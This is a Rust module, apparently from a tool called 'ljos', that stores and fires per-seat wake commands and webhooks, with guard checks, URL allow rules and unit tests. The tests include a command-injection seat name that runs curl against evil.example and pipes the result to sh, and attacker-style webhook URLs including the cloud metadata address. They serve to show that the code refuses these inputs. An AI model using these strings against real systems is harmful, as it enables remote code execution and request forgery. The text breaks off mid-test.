use std::collections::BTreeMap;
use std::io::Write;
#[cfg(unix)]
use std::os::fd::AsRawFd;
use std::path::{Path, PathBuf};
use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH};
use anyhow::{bail, Context, Result};
use serde::{Deserialize, Serialize};
pub const WAKE_TIMEOUT_SECS: u64 = 30;
const WEBHOOK_TIMEOUT_SECS: u64 = 10;
pub(crate) const ENV_SOURCE: &str = "env";
#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
pub struct Wake {
#[serde(default, skip_serializing_if = "Option::is_none")]
pub command: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub webhook: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub key_file: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub key_env: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub timeout: Option<u64>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub source: Option<String>,
}
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct Event {
pub seat: String,
pub from: String,
pub msg: String,
pub issue: Option<String>,
pub interrupt: bool,
pub commit: Option<String>,
}
#[must_use]
pub fn path() -> PathBuf {
super::harnesses_path().with_file_name("wake.toml")
}
#[must_use]
pub fn load() -> BTreeMap<String, Wake> {
std::fs::read_to_string(path())
.ok()
.and_then(|text| toml::from_str(&text).ok())
.unwrap_or_default()
}
#[cfg(test)]
fn load_for_write() -> Result<BTreeMap<String, Wake>> {
load_path_for_write(&path())
}
fn load_path_for_write(wake_path: &Path) -> Result<BTreeMap<String, Wake>> {
let text = match std::fs::read_to_string(wake_path) {
Ok(text) => text,
Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(BTreeMap::new()),
Err(err) => {
return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
}
};
toml::from_str(&text).with_context(|| format!("wake: parse {}", wake_path.display()))
}
fn render(table: &BTreeMap<String, Wake>) -> Result<String> {
Ok(format!(
"# Wakes `ljos send` starts when mail reaches a seat. A name ending in -\n\
# matches every longer seat that starts with it. `ljos wake --help` sets them.\n{}",
toml::to_string(table)?
))
}
fn lock_path(wake_path: &Path) -> PathBuf {
let mut name = wake_path
.file_name()
.map(|n| n.to_os_string())
.unwrap_or_else(|| "wake.toml".into());
name.push(".lock");
wake_path.with_file_name(name)
}
#[cfg(unix)]
fn lock_exclusive(file: &std::fs::File) -> std::io::Result<()> {
let rc = unsafe { libc::flock(file.as_raw_fd(), libc::LOCK_EX) };
if rc == 0 {
Ok(())
} else {
Err(std::io::Error::last_os_error())
}
}
#[cfg(not(unix))]
fn lock_exclusive(_file: &std::fs::File) -> std::io::Result<()> {
Ok(())
}
#[cfg(unix)]
fn wake_file_mode(wake_path: &Path) -> u32 {
use std::os::unix::fs::PermissionsExt;
std::fs::symlink_metadata(wake_path)
.ok()
.filter(|meta| meta.file_type().is_file())
.map(|meta| meta.permissions().mode() & 0o777)
.unwrap_or(0o600)
}
fn save_atomic(wake_path: &Path, table: &BTreeMap<String, Wake>) -> Result<()> {
let text = render(table)?;
let dir = wake_path
.parent()
.context("wake: no directory for wake.toml")?;
std::fs::create_dir_all(dir)?;
let stamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_nanos();
let mut tmp_name = wake_path
.file_name()
.map(|n| n.to_os_string())
.unwrap_or_else(|| "wake.toml".into());
tmp_name.push(format!(".tmp-{}-{stamp}", std::process::id()));
let tmp = dir.join(tmp_name);
#[cfg(unix)]
let mode = wake_file_mode(wake_path);
{
let mut options = std::fs::OpenOptions::new();
options.create_new(true).write(true);
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
options.mode(0o600);
}
let mut out = options
.open(&tmp)
.with_context(|| format!("wake: {}", tmp.display()))?;
out.write_all(text.as_bytes())
.with_context(|| format!("wake: {}", tmp.display()))?;
out.sync_all()
.with_context(|| format!("wake: {}", tmp.display()))?;
}
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&tmp, std::fs::Permissions::from_mode(mode))
.with_context(|| format!("wake: mode {mode:04o} {}", tmp.display()))?;
}
if let Err(err) = std::fs::rename(&tmp, wake_path) {
let _ = std::fs::remove_file(&tmp);
return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
}
Ok(())
}
fn edit_table<T>(edit: impl FnOnce(&mut BTreeMap<String, Wake>) -> Result<(T, bool)>) -> Result<T> {
let wake_path = path();
if let Some(dir) = wake_path.parent() {
std::fs::create_dir_all(dir)?;
}
let lock_file_path = lock_path(&wake_path);
let lock = std::fs::OpenOptions::new()
.create(true)
.read(true)
.write(true)
.truncate(false)
.open(&lock_file_path)
.with_context(|| format!("wake: {}", lock_file_path.display()))?;
lock_exclusive(&lock).with_context(|| format!("wake: lock {}", lock_file_path.display()))?;
let mut table = load_path_for_write(&wake_path)?;
let (out, changed) = edit(&mut table)?;
if changed {
save_atomic(&wake_path, &table)?;
}
Ok(out)
}
#[must_use]
pub fn judge(command: &str) -> Option<super::Rule> {
super::seat_guard(command)
.or_else(|| super::tcb_verdict(command))
.or_else(|| super::ruled_verdict(&super::rules_for_gate(), command))
}
fn refusal(command: &str, rule: &super::Rule) -> String {
format!(
"the guard says {} on `{command}`: {} (rule: {}). A wake runs with nobody to ask, so it does not run",
rule.verdict, rule.reason, rule.pattern
)
}
pub(crate) fn check_webhook(url: &str) -> Result<()> {
if !webhook_host_allowed(url) {
bail!("wake: {url} is not https, nor http on this machine");
}
Ok(())
}
fn webhook_host_allowed(url: &str) -> bool {
let Ok(parsed) = url::Url::parse(url) else {
return false;
};
match parsed.scheme() {
"https" => parsed.host().is_some(),
"http" => http_host_is_loopback(parsed.host()),
_ => false,
}
}
fn http_host_is_loopback(host: Option<url::Host<&str>>) -> bool {
match host {
Some(url::Host::Domain(name)) => name.eq_ignore_ascii_case("localhost"),
Some(url::Host::Ipv4(addr)) => addr.is_loopback(),
Some(url::Host::Ipv6(addr)) => addr.is_loopback(),
None => false,
}
}
pub fn set_command(seat: &str, command: &str, timeout: Option<u64>) -> Result<String> {
let command = command.trim();
if command.is_empty() {
bail!("wake: empty command");
}
if let Some(rule) = judge(command) {
bail!("wake: {}", refusal(command, &rule));
}
let next = Wake {
command: Some(command.to_string()),
timeout,
..Wake::default()
};
edit_table(|table| {
let changed = table.get(seat) != Some(&next);
if changed {
table.insert(seat.to_string(), next.clone());
}
Ok(((), changed))
})?;
Ok(format!("wake {seat}: runs `{command}` {}\n", reaches(seat)))
}
pub fn set_webhook(
seat: &str,
url: &str,
key_file: Option<&str>,
key_env: Option<&str>,
) -> Result<String> {
let url = url.trim();
check_webhook(url)?;
let next = Wake {
webhook: Some(url.to_string()),
key_file: key_file.map(str::to_string),
key_env: key_env.map(str::to_string),
..Wake::default()
};
edit_table(|table| {
let changed = table.get(seat) != Some(&next);
if changed {
table.insert(seat.to_string(), next.clone());
}
Ok(((), changed))
})?;
Ok(format!("wake {seat}: posts to {url} {}\n", reaches(seat)))
}
pub(crate) fn set_env_webhook(seat: &str, url: &str, key_env: &str) -> Result<bool> {
let url = url.trim();
check_webhook(url)?;
let next = Wake {
webhook: Some(url.to_string()),
key_env: Some(key_env.to_string()),
source: Some(ENV_SOURCE.to_string()),
..Wake::default()
};
edit_table(|table| {
let hand_set = table
.get(seat)
.is_some_and(|wake| wake.source.as_deref() != Some(ENV_SOURCE));
if hand_set {
return Ok((false, false));
}
let changed = table.get(seat) != Some(&next);
if changed {
table.insert(seat.to_string(), next.clone());
}
Ok((true, changed))
})
}
pub(crate) fn clear_env_webhook(seat: &str) -> Result<bool> {
edit_table(|table| {
let remove = table
.get(seat)
.is_some_and(|wake| wake.source.as_deref() == Some(ENV_SOURCE));
if remove {
table.remove(seat);
}
Ok((remove, remove))
})
}
pub fn clear(seat: &str) -> Result<String> {
edit_table(|table| {
if table.remove(seat).is_none() {
if let Some((key, _)) = resolve(table, seat) {
if key != seat {
return Ok((
format!("wake {seat}: none set; matches {key}. clear {key} to remove it\n"),
false,
));
}
}
return Ok((format!("wake {seat}: none set\n"), false));
}
Ok((format!("wake {seat}: removed\n"), true))
})
}
#[must_use]
pub fn show(seat: &str) -> String {
let table = load();
let Some((key, wake)) = resolve(&table, seat) else {
return none_set(seat);
};
let how = if let Some(command) = &wake.command {
format!("runs `{command}`")
} else if let Some(url) = &wake.webhook {
format!("posts to {url}")
} else {
return none_set(seat);
};
if key != seat {
format!("wake {seat}: {how} (matches {key})\n")
} else if is_prefix_key(key) {
format!("wake {seat}: {how} when mail reaches a seat that starts with it\n")
} else {
format!("wake {seat}: {how}\n")
}
}
fn none_set(seat: &str) -> String {
format!(
"wake {seat}: none set, so mail waits for its next prompt. `ljos wake --command CMD` sets one\n"
)
}
fn reaches(seat: &str) -> &'static str {
if is_prefix_key(seat) {
"when mail reaches a seat that starts with it"
} else {
"when mail reaches it"
}
}
fn is_prefix_key(key: &str) -> bool {
matches!(key.strip_suffix('-'), Some(stem) if !stem.is_empty() && !stem.ends_with('-'))
}
fn resolve<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<(&'a str, &'a Wake)> {
if let Some((key, wake)) = table.get_key_value(seat) {
return Some((key.as_str(), wake));
}
if super::seat_slug(seat) != seat {
return None;
}
table
.iter()
.filter(|(key, _)| {
is_prefix_key(key) && seat.len() > key.len() && seat.starts_with(key.as_str())
})
.max_by_key(|(key, _)| key.len())
.map(|(key, wake)| (key.as_str(), wake))
}
fn resolve_delivery<'a>(
table: &'a BTreeMap<String, Wake>,
seat: &str,
) -> Option<(&'a str, &'a Wake)> {
let (key, wake) = resolve(table, seat)?;
(key != seat || !is_prefix_key(key)).then_some((key, wake))
}
fn matched_prefix<'a>(key: &'a str, seat: &str) -> Option<&'a str> {
(key != seat && is_prefix_key(key)).then_some(key)
}
fn launcher_seat(key: &str) -> &str {
if is_prefix_key(key) {
key.strip_suffix('-').unwrap_or(key)
} else {
key
}
}
fn wake_target(seat: &str, key: &str) -> String {
if let Some(via) = matched_prefix(key, seat) {
format!("{} via {via} for {seat}", launcher_seat(via))
} else {
key.to_string()
}
}
fn push_mode() -> bool {
std::env::var("LJOS_TRACKER_GIT").as_deref() == Ok("push")
}
fn log_path() -> PathBuf {
std::env::var_os("XDG_STATE_HOME")
.map(PathBuf::from)
.or_else(|| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(".local/state")))
.unwrap_or_else(|| PathBuf::from(".local/state"))
.join("ljos")
.join("mail")
.join("wake.log")
}
fn log(line: &str) {
let path = log_path();
if let Some(dir) = path.parent() {
let _ = std::fs::create_dir_all(dir);
}
if let Ok(mut f) = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(&path)
{
let _ = writeln!(f, "{} {line}", super::now_utc());
}
}
fn wake_bin() -> Option<String> {
if let Some(bin) = std::env::var_os("LJOS_WAKE_BIN").filter(|b| !b.is_empty()) {
return Some(bin.to_string_lossy().into_owned());
}
let me = std::env::current_exe().ok();
let beside = me.as_ref().map(|m| m.with_file_name("ljos"));
me.filter(|m| m.file_stem().is_some_and(|s| s == "ljos"))
.or(beside.filter(|p| p.is_file()))
.or_else(|| which::which("ljos").ok())
.map(|p| p.display().to_string())
}
#[must_use]
pub fn spawn(events: &[Event]) -> Vec<String> {
let table = load();
let mut woken = Vec::new();
for event in events {
let Some((key, _)) = resolve_delivery(&table, &event.seat) else {
continue;
};
let Some(bin) = wake_bin() else {
log(&format!("{}: no ljos to run the wake", event.seat));
continue;
};
let mut args = vec![
"wake".to_string(),
event.seat.clone(),
"--fire".into(),
"--from".into(),
event.from.clone(),
"--msg".into(),
event.msg.clone(),
];
if let Some(issue) = &event.issue {
args.push("--issue".into());
args.push(issue.clone());
}
if event.interrupt {
args.push("--interrupt".into());
}
match super::detach(&bin, &args, std::path::Path::new("/dev/null")) {
Ok(()) => woken.push(wake_target(&event.seat, key)),
Err(e) => log(&format!("{}: the wake did not start: {e:#}", event.seat)),
}
}
woken
}
#[must_use]
pub fn envelope(event: &Event) -> serde_json::Value {
let seat = crate::tools::sh_quote(&event.seat);
let read = match &event.commit {
Some(commit) => format!("LJOS_SEAT={seat} ljos inbox --sync {commit}"),
None => format!("LJOS_SEAT={seat} ljos inbox"),
};
let mut v = serde_json::json!({
"event": "ljos-mail",
"seat": event.seat,
"from": event.from,
"msg": event.msg,
"issue": event.issue,
"interrupt": event.interrupt,
"read": read,
});
if let Some(commit) = &event.commit {
v["commit"] = serde_json::Value::String(commit.clone());
}
v
}
fn webhook_key(wake: &Wake) -> Option<String> {
let from_file = wake.key_file.as_deref().and_then(|p| {
let path = p
.strip_prefix("~/")
.and_then(|rest| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(rest)))
.unwrap_or_else(|| PathBuf::from(p));
std::fs::read_to_string(path).ok()
});
from_file
.or_else(|| wake.key_env.as_deref().and_then(|v| std::env::var(v).ok()))
.map(|k| k.trim().to_string())
.filter(|k| !k.is_empty())
}
fn run_command(command: &str, event: &Event, timeout: Duration) -> Result<String> {
if let Some(rule) = judge(command) {
bail!("{}", refusal(command, &rule));
}
let mut cmd = std::process::Command::new("sh");
cmd.arg("-c")
.arg(command)
.env("LJOS_SEAT", &event.seat)
.env("LJOS_WAKE_SEAT", &event.seat)
.env("LJOS_WAKE_FROM", &event.from)
.env("LJOS_WAKE_MSG", &event.msg)
.env("LJOS_WAKE_ISSUE", event.issue.as_deref().unwrap_or(""))
.env(
"LJOS_WAKE_INTERRUPT",
if event.interrupt { "1" } else { "0" },
)
.stdin(std::process::Stdio::null());
match &event.commit {
Some(commit) => {
cmd.env("LJOS_WAKE_COMMIT", commit);
}
None => {
cmd.env_remove("LJOS_WAKE_COMMIT");
}
}
let path = log_path();
if let Some(dir) = path.parent() {
let _ = std::fs::create_dir_all(dir);
}
if let Ok(out) = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(&path)
{
if let Ok(err) = out.try_clone() {
cmd.stdout(out).stderr(err);
}
}
let mut child = cmd.spawn().context("start the wake command")?;
let started = Instant::now();
loop {
if let Some(status) = child.try_wait()? {
if status.success() {
return Ok(format!("ran in {} ms", started.elapsed().as_millis()));
}
bail!("exited {status}");
}
if started.elapsed() >= timeout {
let _ = child.kill();
let _ = child.wait();
bail!("stopped after {} ms", timeout.as_millis());
}
std::thread::sleep(Duration::from_millis(20));
}
}
fn post(url: &str, wake: &Wake, event: &Event, via: Option<&str>) -> Result<String> {
check_webhook(url)?;
let agent = ureq::AgentBuilder::new()
.timeout(Duration::from_secs(WEBHOOK_TIMEOUT_SECS))
.redirects(0)
.build();
let mut req = agent.post(url).set("Content-Type", "application/json");
if let Some(key) = webhook_key(wake) {
req = req.set("Authorization", &format!("Bearer {key}"));
}
let started = Instant::now();
let mut envelope = envelope(event);
if let Some(via) = via {
envelope["via"] = serde_json::Value::String(via.to_string());
}
let resp = req.send_string(&envelope.to_string()).map_err(|e| {
anyhow::anyhow!("POST {url}: {}", e.to_string().replace(url, "the webhook"))
})?;
if (300..400).contains(&resp.status()) {
bail!(
"POST the webhook: refused redirect status {}",
resp.status()
);
}
Ok(format!(
"posted, {} in {} ms",
resp.status(),
started.elapsed().as_millis()
))
}
pub fn fire(event: &Event) -> Result<String> {
let table = load();
let Some((key, wake)) = resolve_delivery(&table, &event.seat) else {
bail!("wake: {} has no wake set", event.seat);
};
let via = matched_prefix(key, &event.seat);
let named = wake_target(&event.seat, key);
let mut carried = event.clone();
if push_mode() {
if let Err(why) = super::sync::push_sealed_log() {
log(&format!("{}: {why:#}", carried.seat));
}
carried.commit = super::sync::log_commit();
}
let outcome = if let Some(command) = &wake.command {
let timeout = Duration::from_secs(wake.timeout.unwrap_or(WAKE_TIMEOUT_SECS).max(1));
run_command(command, &carried, timeout)
} else if let Some(url) = &wake.webhook {
post(url, wake, &carried, via)
} else {
Err(anyhow::anyhow!("neither a command nor a webhook"))
};
match outcome {
Ok(said) => {
log(&format!("{named} {}: {said}", carried.msg));
Ok(format!("wake {named}: {said}\n"))
}
Err(e) => {
log(&format!("{named} {}: {e:#}", carried.msg));
Err(e).context(format!("wake {named}"))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn a_wake_reads_back_as_written_and_keeps_no_key() {
let mut table = BTreeMap::new();
table.insert(
"grok".to_string(),
Wake {
webhook: Some("https://api2.cursor.sh/automations/webhook/abc".into()),
key_file: Some("~/.config/ljos/grok.key".into()),
..Wake::default()
},
);
table.insert(
"claude-review".to_string(),
Wake {
command: Some("claude -p --resume \"$SESSION\" 'ljos inbox'".into()),
timeout: Some(120),
..Wake::default()
},
);
table.insert(
"ljosbot-review-".to_string(),
Wake {
webhook: Some("https://example.test/launch".into()),
key_env: Some("LJOS_WAKE_LAUNCHER_KEY".into()),
..Wake::default()
},
);
let text = toml::to_string(&table).unwrap();
assert!(!text.contains("key ="), "{text}");
let back: BTreeMap<String, Wake> = toml::from_str(&text).unwrap();
assert_eq!(back, table);
}
#[test]
fn a_webhook_gets_the_envelope_and_not_the_body() {
let event = Event {
seat: "grok".into(),
from: "saddle".into(),
msg: "m1".into(),
issue: Some("Software-d9n6".into()),
interrupt: true,
commit: None,
};
let v = envelope(&event);
assert_eq!(v["seat"], "grok");
assert_eq!(v["msg"], "m1");
assert_eq!(v["interrupt"], true);
assert!(v.get("commit").is_none(), "{v}");
assert_eq!(v["read"], "LJOS_SEAT='grok' ljos inbox");
assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
let named = Event {
commit: Some("0123456789abcdef0123456789abcdef01234567".into()),
..event
};
let named_v = envelope(&named);
assert_eq!(
named_v["commit"],
"0123456789abcdef0123456789abcdef01234567"
);
assert_eq!(
named_v["read"],
"LJOS_SEAT='grok' ljos inbox --sync 0123456789abcdef0123456789abcdef01234567"
);
assert!(check_webhook("http://example.com/hook").is_err());
assert!(check_webhook("https://api2.cursor.sh/automations/webhook/x").is_ok());
assert!(check_webhook("http://127.0.0.1:9/hook").is_ok());
}
#[test]
fn http_is_loopback_only_and_an_attacker_suffix_is_refused() {
for url in [
"http://localhost.attacker.invalid/hook",
"http://127.0.0.1.attacker.invalid/hook",
"http://localhost@attacker.invalid/hook",
"http://127.0.0.1@attacker.invalid/hook",
"http://example.com/hook",
"http://169.254.169.254/latest/meta-data",
"http://0.0.0.0/hook",
"http://[::2]/hook",
] {
assert!(check_webhook(url).is_err(), "{url}");
}
for url in [
"https://api2.cursor.sh/automations/webhook/x",
"https://localhost.attacker.invalid/hook",
"http://127.0.0.1:9/hook",
"http://127.0.0.2/hook",
"http://2130706433/hook",
"http://localhost/hook",
"http://localhost:9/hook",
"http://[::1]/hook",
"http://[::1]:9/hook",
"http://[0:0:0:0:0:0:0:1]/hook",
"http://user:secret@127.0.0.1/hook",
] {
assert!(check_webhook(url).is_ok(), "{url}");
}
}
#[test]
fn a_wake_that_runs_past_its_timeout_is_stopped() {
let event = Event {
seat: "slow".into(),
..Event::default()
};
let started = Instant::now();
let err = run_command("sleep 5", &event, Duration::from_millis(300)).unwrap_err();
assert!(err.to_string().contains("stopped after"), "{err}");
assert!(started.elapsed() < Duration::from_secs(3));
let ok = run_command("test \"$LJOS_SEAT\" = slow", &event, Duration::from_secs(5));
assert!(ok.is_ok(), "{ok:?}");
}
fn hook(url: &str) -> Wake {
Wake {
webhook: Some(url.to_string()),
..Wake::default()
}
}
fn matched<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<&'a str> {
resolve(table, seat).map(|(key, _)| key)
}
#[test]
fn a_prefix_matches_a_run_and_an_exact_name_wins() {
let mut table = BTreeMap::new();
table.insert("inky".into(), hook("https://example.test/inky"));
table.insert("ljosbot-".into(), hook("https://example.test/ljosbot"));
table.insert(
"ljosbot-review-".into(),
hook("https://example.test/review"),
);
table.insert(
"ljosbot-review-abc".into(),
hook("https://example.test/exact"),
);
table.insert("-".into(), hook("https://example.test/bare"));
table.insert("--".into(), hook("https://example.test/dashes"));
table.insert("a--".into(), hook("https://example.test/double"));
assert!(is_prefix_key("ljosbot-review-"));
assert!(is_prefix_key("a-"));
assert!(!is_prefix_key("ljosbot-review"));
assert!(!is_prefix_key("-"));
assert!(!is_prefix_key("--"));
assert!(!is_prefix_key("a--"));
assert_eq!(matched(&table, "inky"), Some("inky"));
assert_eq!(
matched(&table, "ljosbot-review-def"),
Some("ljosbot-review-")
);
assert_eq!(matched(&table, "ljosbot-fix-1"), Some("ljosbot-"));
assert_eq!(matched(&table, "ljosbot-reviewer"), Some("ljosbot-"));
assert_eq!(
matched(&table, "ljosbot-review-abc"),
Some("ljosbot-review-abc")
);
assert_eq!(matched(&table, "ljosbot"), None);
assert_eq!(matched(&table, "inky-2"), None);
assert_eq!(matched(&table, "a-b"), None);
assert_eq!(matched(&table, "-b"), None);
let mut review_only = BTreeMap::new();
review_only.insert(
"ljosbot-review-".into(),
hook("https://example.test/review"),
);
assert_eq!(
matched(&review_only, "ljosbot-review-def"),
Some("ljosbot-review-")
);
assert_eq!(
matched(&review_only, "ljosbot-review-x;curl${IFS}evil.example|sh"),
None
);
assert_eq!(matched(&review_only, "ljosbot-reviewer"), None);
assert_eq!(matched(&review_only, "ljosbot-review"), None);
assert_eq!(
reaches("ljosbot-review-"),
"when mail reaches a seat that starts with it"
);
assert_eq!(reaches("inky"), "when mail reaches it");
}
fn read_http(sock: &mut std::net::TcpStream) -> String {
use std::io::Read;
sock.set_read_timeout(Some(Duration::from_secs(2))).ok();
let mut buf = Vec::new();
let mut tmp = [0u8; 1024];
loop {
let n = sock.read(&mut tmp).unwrap_or(0);
if n == 0 {
break;
}
buf.extend_from_slice(&tmp[..n]);
if let Some(at) = buf.windows(4).position(|w| w == b"\r\n\r\n") {
let headers = &buf[..at];
let mut need = 0usize;
for line in headers.split(|b| *b == b'\n') {
let line = std::str::from_utf8(line).unwrap_or("").trim();
if let Some(v) = line
.split_once(':')
.filter(|(k, _)| k.eq_ignore_ascii_case("content-length"))
.map(|(_, v)| v.trim())
{
need = v.parse().unwrap_or(0);
}
}
if buf.len().saturating_sub(at + 4) >= need {
break;
}
}
}
String::from_utf8_lossy(&buf).into_owned()
}
fn serve_one() -> (u16, std::sync::mpsc::Receiver<String>) {
let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind");
let port = listener.local_addr().expect("addr").port();
let (tx, rx) = std::sync::mpsc::channel();
std::thread::spawn(move || {
let Ok((mut sock, _)) = listener.accept() else {
return;
};
let req = read_http(&mut sock);
let _ = tx.send(req);
let _ = std::io::Write::write_all(
&mut sock,
b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n",
);
});
(port, rx)
}
#[test]
fn a_webhook_redirect_is_refused_and_not_followed() {
let (_lock, _dir) = isolated();
let (target_port, target_rx) = serve_one();
let redirect = std::net::TcpListener::bind("127.0.0.1:0").expect("redirect bind");
let redirect_port = redirect.local_addr().expect("redirect addr").port();
let (first_tx, first_rx) = std::sync::mpsc::channel();
std::thread::spawn(move || {
let Ok((mut sock, _)) = redirect.accept() else {
return;
};
let req = read_http(&mut sock);
let _ = first_tx.send(req);
let location = format!("http://127.0.0.1:{target_port}/next");
let reply = format!(
"HTTP/1.1 302 Found\r\nLocation: {location}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
);
let _ = std::io::Write::write_all(&mut sock, reply.as_bytes());
});
let hook = format!("http://127.0.0.1:{redirect_port}/hook");
set_webhook("inky", &hook, None, None).expect("set webhook");
let err = fire(&Event {
seat: "inky".into(),
from: "vm-seat".into(),
msg: "m1".into(),
..Event::default()
})
.expect_err("redirected webhook must fail");
let said = format!("{err:#}");
assert!(said.contains("302"), "{said}");
let first = first_rx
.recv_timeout(Duration::from_secs(3))
.expect("redirect request");
assert!(first.starts_with("POST /hook"), "{first}");
assert!(
target_rx.recv_timeout(Duration::from_millis(700)).is_err(),
"redirect target was called"
);
}
#[test]
fn concurrent_writers_and_reader_keep_every_entry() {
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::{Arc, Barrier};
let (_lock, _dir) = isolated();
set_command("seed", "true", None).expect("seed");
let left_payload = "a".repeat(40_000);
let right_payload = "b".repeat(40_000);
let done = Arc::new(AtomicBool::new(false));
let parse_errors = Arc::new(AtomicUsize::new(0));
let done_reader = Arc::clone(&done);
let parse_reader = Arc::clone(&parse_errors);
let reader = std::thread::spawn(move || {
while !done_reader.load(Ordering::Relaxed) {
if let Ok(text) = std::fs::read_to_string(path()) {
if !text.is_empty() && toml::from_str::<BTreeMap<String, Wake>>(&text).is_err()
{
parse_reader.fetch_add(1, Ordering::Relaxed);
}
}
std::hint::spin_loop();
}
});
for round in 0..40 {
let gate = Arc::new(Barrier::new(2));
let left_gate = Arc::clone(&gate);
let right_gate = Arc::clone(&gate);
let left_cmd = format!("{left_payload}{round}");
let right_cmd = format!("{right_payload}{round}");
let left = std::thread::spawn(move || {
left_gate.wait();
set_command("alpha", &left_cmd, None).expect("left write");
});
let right = std::thread::spawn(move || {
right_gate.wait();
set_command("beta", &right_cmd, None).expect("right write");
});
left.join().expect("left join");
right.join().expect("right join");
let table = load_for_write().expect("table parse");
assert!(
table.contains_key("alpha") && table.contains_key("beta"),
"lost wake entry on round {round}: {table:?}"
);
}
done.store(true, Ordering::Relaxed);
reader.join().expect("reader join");
assert_eq!(
parse_errors.load(Ordering::Relaxed),
0,
"reader saw torn writes"
);
}
fn body_of(raw: &str) -> serde_json::Value {
let body = raw
.split_once("\r\n\r\n")
.map(|(_, body)| body)
.unwrap_or(raw);
serde_json::from_str(body).unwrap_or_else(|e| panic!("{e}: {raw}"))
}
fn isolated() -> (crate::EnvLock, tempfile::TempDir) {
let lock = crate::test_env_lock();
let dir = tempfile::tempdir().expect("home");
unsafe {
std::env::set_var("XDG_CONFIG_HOME", dir.path().join("config"));
std::env::set_var("XDG_STATE_HOME", dir.path().join("state"));
}
(lock, dir)
}
#[test]
fn set_webhook_refuses_to_overwrite_a_broken_wake_toml() {
let (_lock, _dir) = isolated();
let wake_file = path();
std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
let broken = "[inky\nwebhook = \"https://old.example/hook\"\n";
std::fs::write(&wake_file, broken).expect("seed broken wake");
let err = set_webhook("inky", "http://127.0.0.1:9/hook", None, None)
.expect_err("broken wake.toml should refuse writes");
let said = format!("{err:#}");
assert!(said.contains("wake"), "{said}");
assert!(
said.contains("parse"),
"the refusal should say this is a parse error: {said}"
);
assert_eq!(std::fs::read_to_string(&wake_file).unwrap(), broken);
}
#[cfg(unix)]
#[test]
fn save_atomic_keeps_existing_mode_and_creates_private_files() {
use std::os::unix::fs::PermissionsExt;
let (_lock, _dir) = isolated();
let wake_file = path();
std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
std::fs::write(&wake_file, "[seed]\ncommand = \"true\"\n").expect("seed wake");
std::fs::set_permissions(&wake_file, std::fs::Permissions::from_mode(0o600))
.expect("mode 0600 wake");
set_command("inky", "true", None).expect("rewrite wake");
let kept = std::fs::symlink_metadata(&wake_file)
.expect("wake metadata")
.permissions()
.mode()
& 0o777;
assert_eq!(kept, 0o600, "rewriting wake.toml changed its mode");
std::fs::remove_file(&wake_file).expect("remove wake");
set_command("new", "true", None).expect("new wake");
let created = std::fs::symlink_metadata(&wake_file)
.expect("wake metadata")
.permissions()
.mode()
& 0o777;
assert_eq!(created, 0o600, "new wake.toml should be private");
}
#[test]
fn a_prefix_posts_the_run_seat_and_keeps_the_key_out_of_the_file() {
let (_lock, _dir) = isolated();
let (review_port, review_rx) = serve_one();
let (broad_port, broad_rx) = serve_one();
let (exact_port, exact_rx) = serve_one();
let review = format!("http://127.0.0.1:{review_port}/hook");
let broad = format!("http://127.0.0.1:{broad_port}/hook");
let exact = format!("http://127.0.0.1:{exact_port}/hook");
unsafe { std::env::set_var("LJOS_WAKE_LAUNCHER_KEY", "test-token") };
let set = set_webhook(
"ljosbot-review-",
&review,
None,
Some("LJOS_WAKE_LAUNCHER_KEY"),
)
.expect("set prefix");
assert!(
set.contains("when mail reaches a seat that starts with it"),
"{set}"
);
for seat in ["ljosbot-reviewer", "ljosbot-review", "ljosbot-review-"] {
let missed = fire(&Event {
seat: seat.into(),
..Event::default()
});
let err = format!("{:#}", missed.expect_err("not this prefix"));
assert!(err.contains(&format!("{seat} has no wake set")), "{err}");
}
set_webhook("ljosbot-", &broad, None, None).expect("set broad");
let own = set_webhook("ljosbot-review-abc", &exact, None, None).expect("set exact");
assert!(own.ends_with("when mail reaches it\n"), "{own}");
assert!(!own.contains("starts with"), "{own}");
let stored = std::fs::read_to_string(path()).expect("wake.toml");
assert!(!stored.contains("test-token"), "{stored}");
assert!(stored.contains("ljosbot-review-"), "{stored}");
let loaded = load();
assert_eq!(
matched(&loaded, "ljosbot-review-def"),
Some("ljosbot-review-")
);
let run = Event {
seat: "ljosbot-review-def".into(),
from: "inky".into(),
msg: "m1".into(),
issue: Some("Software-d9n6".into()),
interrupt: true,
commit: None,
};
let said = fire(&run).expect("fire run");
assert!(
said.starts_with(
"wake ljosbot-review via ljosbot-review- for ljosbot-review-def: posted, 200"
),
"{said}"
);
let posted = review_rx
.recv_timeout(Duration::from_secs(3))
.expect("review hook");
assert!(
posted
.to_ascii_lowercase()
.contains("authorization: bearer test-token"),
"{posted}"
);
let v = body_of(&posted);
assert_eq!(v["seat"], "ljosbot-review-def");
assert_eq!(v["from"], "inky");
assert_eq!(v["msg"], "m1");
assert_eq!(v["issue"], "Software-d9n6");
assert_eq!(v["interrupt"], true);
assert_eq!(v["read"], "LJOS_SEAT='ljosbot-review-def' ljos inbox");
assert_eq!(v["via"], "ljosbot-review-");
